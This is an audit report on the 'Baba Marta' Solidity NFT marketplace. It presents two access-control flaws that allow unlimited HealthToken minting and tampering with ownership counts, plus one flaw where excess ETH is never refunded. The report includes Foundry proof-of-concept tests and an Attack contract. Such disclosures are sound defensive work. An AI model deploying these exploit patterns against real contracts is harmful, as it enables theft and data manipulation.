Baba Marta Audit Report

Version 1.0

Cyfrin.io

April 22, 2024

Baba Marta Audit Report

Bluedragon101

April 22, 2024

Prepared by: Bluedragon101

Lead Auditors:

- [Shibi_Kishore]

Table of contents

Disclaimer

The Bluedragon101 team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Protocol Summary

The “Baba Marta” protocol allows you to buy `MartenitsaToken` and to give it away to friends. Also, if you want, you can be a producer. The producer creates `MartenitsaTokens` and sells them. There is also a voting for the best `MartenitsaToken`. Only producers can participate with their own `MartenitsaTokens`. The other users can only vote. The winner wins 1 `HealthToken`. If you are not a producer and you want a `HealthToken`, you can receive one if you have 3 different `MartenitsaTokens`. More `MartenitsaTokens` more `HealthTokens`. The `HealthToken` is a ticket to a special event (producers are not able to participate). During this event each participant has producer role and can create and sell own `MartenitsaTokens`.

Scope

```
#-- src
    #-- HealthToken.sol
```

```
3      #-- MartenitsaEvent.sol
4      #-- MartenitsaMarketplace.sol
5      #-- MartenitsaToken.sol
6      #-- MartenitsaVoting.sol
7      #-- SpecialMartenitsaToken.sol
```

Roles

Producer - Should be able to create martenitsa and sell it. The producer can also buy martenitsa, make present and participate in vote. The martenitsa of producer can be candidate for the winner of voting.

User - Should be able to buy martenitsa and make a present to someone else. The user can collect martenitsa tokens and for every 3 different martenitsa tokens will receive 1 health token. The user is also able to participate in a special event and to vote for one of the producer's martenitsa.

Issues found

Severity	Number of issues found
High	2
Medium	1
Low	0
Info	0
Total	3

Findings

High

[H-1] Insecure access control in `MartenitsaToken::updateCountMartenitsaTokensOwner` function, causing buyer to mint unlimited `HealthToken`.

Description:

The function `MartenitsaToken::updateCountMartenitsaTokensOwner` allows an external caller to arbitrarily increase or decrease the `MartenitsaToken::countMartenitsaTokensOwner` mapping for a given `owner` address. This can lead to unintended `countMartenitsaTokensOwner` mapping manipulation. The `MartenitsaMarketPlace::collectReward` function depends on the `countMartenitsaTokensOwner` mapping to mint `HealthToken` to the buyer. If a buyer has 3 different token they can mint a `HealthToken` as `countMartenitsaTokensOwner` mapping can be manipulated, the buyer can mint an unlimited amount of `HealthToken`.

```
@>  function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
        if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
            countMartenitsaTokensOwner[owner] += 1;
        } else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
            countMartenitsaTokensOwner[owner] -= 1;
        } else {
            revert("Wrong operation");
        }
    }
```

```
function collectReward() external {
        require(!martenitsaToken.isProducer(msg.sender), "You are producer and not eligible for a reward!");
@>      uint256 count = martenitsaToken.getCountMartenitsaTokensOwner(msg.sender);
        uint256 amountRewards = (count / requiredMartenitsaTokens) - _collectedRewards[msg.sender];
        if (amountRewards > 0) {
            _collectedRewards[msg.sender] = amountRewards;
            healthToken.distributeHealthToken(msg.sender, amountRewards);
        }
    }
```

Impact:

As the `MartenitsaToken::countMartenitsaTokensOwner` can be manipulated by a arbitaray external call, a buyer can arbitrarily increase the `countMartenitsaTokensOwner` mapping count and mint an unlimited amount of `HealthToken` by calling the `MartenitsaMarketPlace::collectReward` function. This can lead high `HealthToken` supply and devaluation of the token's utility and value.

Proof of Concept:

1. First buyer calls the `MartenitsaToken::updateCountMartenitsaTokensOwner` function to increase the `countMartenitsaTokensOwner` mapping count.

2. Buyer calls the `MartenitsaMarketPlace::collectReward` function to mint an unlimited amount of `HealthToken`.

Proof Of Code

```
function test_BuyerCanMintUnlimitedHealthToken() public {
        // set attacker
        address attacker = makeAddr("attacker");

        // increase the count of martenitsaTokensOwner
        vm.startPrank(address(attacker));
        for (uint256 i = 0; i < 6; i++) {
            martenitsaToken.updateCountMartenitsaTokensOwner(address(
                attacker), "add");
        }
        console.log("The count of martenitsaTokensOwner: ",
            martenitsaToken.getCountMartenitsaTokensOwner(attacker));
        vm.stopPrank();

        // Call the collectReward function
        vm.startPrank(address(attacker));
        marketplace.collectReward();
        console.log("The balance of the attacker after collecting
            reward: ", healthToken.balanceOf(attacker));
        vm.stopPrank();
}
```

Here is the foundry output

```
Logs:
  The count of martenitsaTokensOwner:  6
  The balance of the attacker after collecting reward:
      2000000000000000000
```

Recommended Mitigation:

1. Implement access control to restrict the ability to call the `MartenitsaToken::updateCountMartenitsaTokensOwner` function to only authorized entities, such as the contract owner or a designated role.
2. Consider removing the external ability to modify the `MartenitsaToken::countMartenitsaTokensOwn` mapping directly and instead update the mapping through other functions that perform appropriate validation and authorization checks.
3. Implement a system of checks and balances, such as requiring two-factor authentication or multi-signature approvals for any changes to the `MartenitsaToken::countMartenitsaTokensOwner` mapping.

[H-2] Arbitrary external call to `MartenitsaToken::updateCountMartenitsaTokensOwner` function, causing anyone to increase or decrease the `countMartenitsaTokensOwner` mapping thus manipulating the data.

Description:

The function `MartenitsaToken::updateCountMartenitsaTokensOwner` allows an external caller to arbitrarily increase or decrease the `MartenitsaToken::countMartenitsaTokensOwner` mapping for a given `owner` address. This can lead to unintended and potentially malicious modifications of the token ownership count data.

```
1 @>  function updateCountMartenitsaTokensOwner(address owner, string
      memory operation) external {
2         if (keccak256(abi.encodePacked(operation)) == keccak256(abi.
              encodePacked("add"))) {
3             countMartenitsaTokensOwner[owner] += 1;
4         } else if (keccak256(abi.encodePacked(operation)) == keccak256(
              abi.encodePacked("sub"))) {
5             countMartenitsaTokensOwner[owner] -= 1;
6         } else {
7             revert("Wrong operation");
8         }
9     }
```

Impact:

The arbitrary external call to `MartenitsaToken::updateCountMartenitsaTokensOwner` function could allow an attacker to manipulate the `MartenitsaToken::countMartenitsaTokensOwner` mapping, leading to inaccurate tracking of token ownership. The ability to decrease the mapping could also lead to denial of service attacks by reducing the recorded token balances for certain users.

Proof of Concept:

1. First initialize the `Attack` contract
2. Call the `Attack::attackIncrease` function to increase the `MartenitsaToken::countMartenitsaTokensOwner` mapping for any address.
3. Call the `Attack::attackDecrease` function to decrease the `MartenitsaToken::countMartenitsaTokensOwner` mapping for any address, mainly manipualting the token ownership data of certain users.

Proof Of Code

```
1 function testUpdateCountMartenitsaTokensOwner_CanBeManipulated() public
      createMartenitsa {
2         Attack attack = new Attack(address(martenitsaToken));
```

```
        address attacker;
        uint256 count;
        attacker = makeAddr("attacker");
        // increase the count of martenitsaTokensOwner of non buyer cum non seller
        vm.startPrank(attacker);
        attack.attackIncrease(msg.sender);
        count = martenitsaToken.getCountMartenitsaTokensOwner(msg.sender);
        console.log("Count of token ownerShip after arbitrary call on non seller or non buyer: ", count);
        vm.stopPrank();

        count = martenitsaToken.getCountMartenitsaTokensOwner(chasy);
        console.log("Count of token ownerShip before arbitrary call: ", count);

        // decrease the count of martenitsaTokensOwner of seller
        vm.startPrank(attacker);
        attack.attackDecrease(chasy);
        count = martenitsaToken.getCountMartenitsaTokensOwner(chasy);
        console.log("Count of token ownerShip after arbitrary call: ", count);
        vm.stopPrank();
    }
```

Here is the contract as well

```
contract Attack {
    MartenitsaToken public martenitsaToken;

    constructor(address _martenitsaToken) {
        martenitsaToken = MartenitsaToken(_martenitsaToken);
    }

    function attackIncrease(address user) public {
        address(martenitsaToken).call(
            abi.encodeWithSignature("updateCountMartenitsaTokensOwner(address,string)", user, "add")
        );
    }

    function attackDecrease(address user) public {
        address(martenitsaToken).call(
            abi.encodeWithSignature("updateCountMartenitsaTokensOwner(address,string)", user, "sub")
        );
    }
}
```

Here is the foundry output

```
Logs:
  Count of token ownerShip after arbitrary call non seller cum non
     buyers:  1
  Count of token ownerShip before arbitrary call:  1
  Count of token ownerShip after arbitrary call:  0
```

Recommended Mitigation:

1. Implement access control to restrict the ability to call the `MartenitsaToken::updateCountMartenitsaTokensOwner` function to only authorized entities, such as the contract owner or a designated role.
2. Consider removing the external ability to modify the `MartenitsaToken::countMartenitsaTokensOwn` mapping directly and instead update the mapping through other functions that perform appropriate validation and authorization checks.
3. Implement a system of checks and balances, such as requiring two-factor authentication or multi-signature approvals for any changes to the `MartenitsaToken::countMartenitsaTokensOwner` mapping.

Medium

[M-1] Excess ETH send to the `MartenitsaMarketplace::buyMartenitsa` function is not refunded to the buyer, causing funds stuck in the `MartenitsaMarketplace` contract.

Description: If a user sends a `msg.value` (the amount of ETH sent with the transaction) that is greater than the sales price of the `MartenitsaToken` listed by a seller, the excess ETH gets stuck in the marketplace contract. This is because the contract does not have a mechanism to refund the excess ETH to the user.

```
function buyMartenitsa(uint256 tokenId) external payable {
        Listing memory listing = tokenIdToListing[tokenId];
        require(listing.forSale, "Token is not listed for sale");
@>      require(msg.value >= listing.price, "Insufficient funds");
}
```

Impact: The excess ETH becomes locked in the `MartenitsaMarketplace` contract, and the user is unable to retrieve it. This can lead to a loss of funds for the user and may result in a poor user experience. Additionally, the accumulation of excess ETH in the contract could potentially lead to a denial-of-service attack by filling up the contract's balance.

Proof of Concept:

1. seller creates a martenitsaToken and lists it for sale.

2. buyer buys the martenitsaToken accidentally with more than the sales price of the martenitsaToken.
3. buyer gets the martenitsaToken and the seller gets the salesprice of the martenitsa.
4. excess amount eth of the buyer is stuck in the contract and not refunded to the buyer.

Proof Of Code

```
function test_BuyerSendsGreaterValueThanSalesPrice() public {
        // create martenitsa and list for sale
        vm.startPrank(chasy);
        martenitsaToken.createMartenitsa("bracelet");
        marketplace.listMartenitsaForSale(0, 1 ether);
        vm.stopPrank();

        // approve marketplace to spend martenitsa token
        vm.prank(chasy);
        martenitsaToken.approve(address(marketplace), 0);
        address user = makeAddr("user");
        vm.deal(user, 2 ether);
        console.log("User balance before buying martenitsa: ", user.balance);
        console.log("Marketplace balance before buying martenitsa: ", address(marketplace).balance);
        console.log("Seller balance before buying martenitsa: ", chasy.balance);

        // buy martenitsa with greater value than sales price
        vm.startPrank(user);
        marketplace.buyMartenitsa{value: 2 ether}(0);
        vm.stopPrank();

        console.log("User balance after buying martenitsa: ", user.balance);
        console.log("Marketplace balance after buying martenitsa: ", address(marketplace).balance);
        console.log("Seller balance after buying martenitsa: ", chasy.balance);
        console.log("Owner of the token after buying martenitsa: ", martenitsaToken.ownerOf(0));
    }
```

Here is the foundry output

```
Logs:
  User balance before buying martenitsa:  2000000000000000000
  Marketplace balance before buying martenitsa:  0
  Seller balance before buying martenitsa:  0
  User balance after buying martenitsa:  0
  Marketplace balance after buying martenitsa:  1000000000000000000
  Seller balance after buying martenitsa:  1000000000000000000
```

Recommended Mitigation: To mitigate this issue, the marketplace contract should include a refund mechanism to send the excess ETH back to the user. One possible solution is to modify the `MartenitsaMarketplace::buyMartenitsa` function to refund the excess ETH:

```
    function buyMartenitsa(uint256 tokenId) external payable {
        .
        .
        .
        .
        // Refund excess ETH to buyer
        if (msg.value > salePrice) {
            (bool refunded,) = msg.sender.call{value: msg.value -
               salePrice}("");
            require(refunded, "Failed to refund excess Ether");
        }

+        // Transfer funds to seller
+        (bool sent,) = seller.call{value: salePrice}("");
+        require(sent, "Failed to send Ether");

        // Transfer the token to the buyer
        martenitsaToken.safeTransferFrom(seller, buyer, tokenId);
    }
```

By adding the refund logic, the marketplace contract ensures that any excess ETH sent by the user is returned to them and not getting stuck in the contract.